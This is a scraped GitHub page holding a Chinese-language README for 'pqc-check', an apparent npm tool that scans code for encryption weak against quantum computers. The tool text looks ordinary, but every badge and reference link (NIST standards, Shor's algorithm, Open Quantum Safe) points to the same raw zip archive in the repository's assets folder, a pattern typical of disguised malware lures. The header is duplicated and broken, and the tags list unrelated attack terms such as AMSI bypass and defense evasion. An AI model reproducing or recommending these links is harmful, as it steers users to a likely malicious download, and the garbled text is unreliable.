Danicar5551/pqc-check

GitHub: Danicar5551/pqc-check

pqc-check 是一款零配置的代码库静态扫描工具,专门检测量子计算威胁下的脆弱加密算法,助力团队向后量子密码标准迁移。

Stars: 0 | Forks: 0

# pqc-check [![npm version](https://img.shields.io/npm/v/pqc-check)](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) [![npm downloads](https://img.shields.io/npm/dm/pqc-check)](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) [![CI](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip)](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_# pqc-check [![npm 版本](https://img.shields.io/npm/v/pqc-check)](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) [![npm 下载量](https://img.shields.io/npm/dm/pqc-check)](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) [![CI](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip)](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) [![许可证](https://img.shields.io/npm/l/pqc-check)](./LICENSE) ## 快速开始 ``` npx pqc-check ./my-project ``` 一条命令。零配置。即时结果:

pqc-check terminal output

## 它能发现什么 量子计算机将能够利用 [Shor 算法](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) 破解 RSA、ECDSA 和 Diffie-Hellman。国家级攻击者已经在当下收集加密流量,以便日后解密。NIST 已在 2024 年敲定后量子标准([FIPS 203](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip)、[204](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip))——迁移的倒计时已经开始。 **pqc-check** 会扫描你的代码,并根据真实世界中的风险对发现进行分类: | 级别 | 威胁 | 含义 | 操作 | |-------|--------|---------------|--------| | **HIGH** | 现在窃取,日后解密 (HNDL) | 如今加密的数据在未来可被量子计算机解密 | 立即迁移至 PQC | | **MEDIUM** | 签名伪造 | 当量子计算机到来时,身份验证可能会被破解 | 计划迁移 | | **LOW** | 仅供参考 | 已具备抗量子能力(例如 SHA-256) | 无需采取行动 | ## 支持的语言 | 语言 | 扩展名 | 检测模式 | |----------|-----------|-------------------| | Python | `.py` | RSA、ECDSA、Ed25519、X25519、DH、JWT、SHA | | JavaScript / TypeScript | `.js` `.ts` `.mjs` `.cjs` `.jsx` `.tsx` | RSA、ECDSA、ECDH、DH、JWT、Web Crypto、node-forge、jose | | Go | `.go` | RSA、ECDSA、Ed25519、X25519/ECDH | | Java / Kotlin | `.java` `.kt` | RSA、ECDSA、DH、Bouncy Castle | | Rust | `.rs` | RSA(rsa/ring crates)、ECDSA、Ed25519、X25519 | | C / C++ | `.c` `.cpp` `.h` `.hpp` | OpenSSL RSA、ECDSA、DH、Ed25519 | | Ruby | `.rb` | OpenSSL RSA、ECDSA、DH | | PHP | `.php` | openssl RSA、ECDSA、DH | | 配置文件 | `.conf` `.yaml` `.toml` `.ini` | SSL 证书、PEM 密钥、TLS 密码套件 | 覆盖 9 种语言及配置文件,共 48 种检测模式。 ## 安装 ``` # 直接运行(无需安装) npx pqc-check ./my-project # 或者全局安装 npm install -g pqc-check pqc-check ./my-project ``` ## 使用 ``` # 扫描项目(控制台输出) pqc-check ./my-project # JSON 输出(用于脚本) pqc-check ./my-project --format json # SARIF 输出(用于 GitHub Code Scanning) pqc-check ./my-project --format sarif # 仅扫描特定语言 pqc-check ./my-project --lang python,go # 包含 LOW 风险结果 pqc-check ./my-project --show-low # 忽略特定路径 pqc-check ./my-project --ignore "tests/**,vendor/**" # 适用于 CI(无 banner) pqc-check ./my-project --quiet # 隐藏迁移建议 pqc-check ./my-project --no-suggestions ``` ## CI/CD 集成 ### GitHub Actions ``` - name: PQC vulnerability scan run: npx pqc-check . --format sarif > results.sarif - name: Upload SARIF uses: github/codeql-action/upload-sarif@v3 with: sarif_file: results.sarif ``` 发现的结果将直接显示在你的 Pull Request 的 **Security** 标签页中。 ### 退出码 | 代码 | 含义 | |------|---------| | `0` | 无 HIGH 或 MEDIUM 级别的发现 | | `1` | 检测到 HIGH 或 MEDIUM 级别的发现 | | `2` | 错误(无效路径等) | ## 输出格式 | 格式 | 标志 | 用例 | |--------|------|----------| | **控制台** | *(默认)* | 人类可读的彩色输出 | | **JSON** | `--format json` | 脚本编写、自定义集成 | | **SARIF** | `--format sarif` | GitHub 代码扫描、IDE 集成 | ## 配置 ### `.pqcignore` 在你的项目根目录中创建一个 `.pqcignore` 文件(格式与 `.gitignore` 相同): ``` # 忽略测试文件 tests/ test/ *_test.go # 忽略生成代码 generated/ ``` pqc-check 也会遵循你现有的 `.gitignore` 配置。 ## 准备好迁移了吗? 发现了易受量子攻击的代码?以下是你的选项: | 资源 | 链接 | |----------|------| | **PQC 迁移指南** | [docs.qpher.ai/guides/migration-guide](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) | | **Qpher PQC API** | [qpher.ai](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) — 即插即用的加密与签名 | | **Open Quantum Safe** | [openquantumsafe.org](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) — 开源 liboqs | | **NIST 标准** | [FIPS 203](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) (ML-KEM) · [FIPS 204](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip) (ML-DSA) | ### SDK ``` pip install qpher # Python npm install @qpher/sdk # Node.js go get github.com/qpher/qpher-go # Go ``` ## 许可证 [MIT](./LICENSE) — 版权所有 2026 [Qpher](https://github.com/Danicar5551/pqc-check/raw/refs/heads/main/.github/assets/check_pqc_3.2.zip)

Qpher 构建 · 文档 · LinkedIn · GitHub

标签:AMSI绕过, ECDSA检测, FIPS 203, FIPS 204, GNU通用公共许可证, JS文件枚举, MITM代理, NIST标准, Node.js, npm, PQC, RSA检测, Shor算法, URL发现, 代码安全扫描, 加密算法升级, 可视化界面, 后量子密码学, 威胁情报, 威胁检测, 安全检测, 密码学分析, 开发者工具, 抗量子加密, 数据可视化, 日志审计, 暗色界面, 网络安全, 自动化攻击, 逆向工具, 量子安全, 量子计算, 错误基检测, 防御绕过, 隐私保护, 静态代码分析